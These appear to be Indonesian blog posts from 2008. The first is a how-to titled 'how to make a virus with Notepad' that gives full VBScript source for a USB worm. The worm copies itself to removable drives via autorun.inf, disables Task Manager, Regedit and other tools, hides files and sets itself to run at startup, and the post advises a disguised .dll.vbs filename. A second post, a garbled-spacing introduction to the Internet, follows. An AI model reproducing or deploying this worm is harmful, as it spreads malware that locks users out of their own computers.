}

//****************************************************************************

}
}

}

Cara Membuat Virus dengan Notepad

2008-12-01T12:24:00.002+07:00

Kita akan membuat virus yang sederhana menggunakan Notepad. Virus ini akan membuat dirinya menyebar ke removable disc dengan AutoRun sehingga komputer lain yang tercolok flash disc terinfeksi akan langsung menjadi korban tanpa menungu User menjalankan infector-nya. Sekarang buka Notepad-nya. Copy kode berikut :

'//--Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus--//
on error resume next

'//--Dim kata-kata berikut ini--//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd

'//--Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information--//
isi = "[autorun]" & vbcrlf & "shellexecute=wscript.exe k4l0n6.dll.vbs"
set fs = createobject("Scripting.FileSystemObject")
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do

'//--Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 32
set tf=fs.createtextfile(windowpath & "\batch- k4l0n6.dll.vbs",2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & "\batch- k4l0n6.dll.vbs ")
tf.attributes = 39
'//--Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok--//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket

for each flashdrive in fs.drives
'//--Cek Drive--//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then

'//--Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\--//
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &"\k4l0n6.dll.vbs ",2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &"\k4l0n6.dll.vbs ")
tf.attributes = 39

'//--Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)--//
set tf =fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &"\autorun.inf")
tf.attributes=39
end if
next

'//--Manipulasi Registry--//

set kalong = createobject("WScript.Shell")

'//--Manip - Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY--//
kalong.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title"," THE KALONG v.s. ZAY "

'//--Manip – Set agar file hidden tidak ditampilkan di Explorer--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden", "0", "REG_DWORD"

'//--Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools", "1", "REG_DWORD"
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr", "1", "REG_DWORD"

'//--Manip – Disable klik kanan--//
kalong.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu", "1", "REG_DWORD"

'//--Manip - Munculkan Pesan Setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption", "Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe."

'//--Manip – Aktif setiap Windows Startup--//
kalong.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir", windowpath & "\batch- k4l0n6.dll.vbs "

'//--Manip – Ubah RegisteredOwner dan Organization--//
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization", "The Batrix"
kalong.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner","Kalong"

'//--Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan--//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject("Wscript.shell")
sd.run windowpath & "\explorer.exe /e,/select, " & Wscript.ScriptFullname
'Akhir dari Kode

Save code di Notepad dengan cara FILE > SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Sebenarnya gak usah pake *.dll juga gak apa-apa tapi usaha agar tidak mencurigakan aja.
Sumber Diambil dari : Fariskhi Vidyan
http://www.farislab.net.tf or http://farislab.webs.io

Pengenalan Internet

2008-12-01T11:32:00.004+07:00

Internet adalah singkatan dari Interconnect ion Network yang secara harfiah berart i
hubungan antar j aringan komputer (network). Sedangkan network sendiri diart ikan sebagai
suatu sistem komunikasi data antar komputer. Contoh j aringan komputer yang paling sering
kita temukan misalnya LAN (Local Area Network) yang menghubungkan komputer-komputer
yang berada dalam suatu areal atau lokasi tertentu sepert i kantor, sekolah, perusahaan,
warnet, dan lain-lain.

Gambaran sederhananya sepert i ini: beberapa komputer dihubungkan satu sama lain
sehingga membentuk j aringan komputer (network). Nah, bila sej umlah network (j aringan
komputer) kemudian digabung dan dihubung-hubungkan lagi maka jadilah internet.
Jadi pengert ian internet secara umum (menurut bahasa) adalah kumpulan dari jaringan
komputer yang terhubung dan bekerj a sebagai suatu sistem. Sedangkan pengert ian Internet
secara khusus (inilah yang sering terpakai dan yang dimaksud dalam pembahasan ini) adalah
suatu j aringan komputer terbesar di dunia karena menghubungkan seluruh j aringan komputer
yang ada di dunia ini. Untuk ringkasnya, Internet adalah jaringan komputer global sedangkan
jaringan komputer lokal (LAN) dinamakan Intranet.
Untuk mendapatkan akses internet , sebuah komputer harus menggunakan jasa perusahaan
penyedia layanan internet atau Internet Service Provider (ISP). Dengan jasa perusahaan ISP
ini, kita bisa mendapatkan j alur internet (online) setelah menghubungkan komputer kita
3
dengan komputer servernya. Hubungan (koneksi) antara komputer pengguna dengan komputer
server perusahaan ISP tersebut biasanya dilakukan lewat jaringan telepon (dial-up) dengan
menggunakan peralatan modem, Wireless, ADSL, Handphone, Fiber opt ic dll.. Lewat komputer
server yang dimiliki oleh ISP itulah kita bisa terhubung dengan j aringan komputer sedunia
(internet).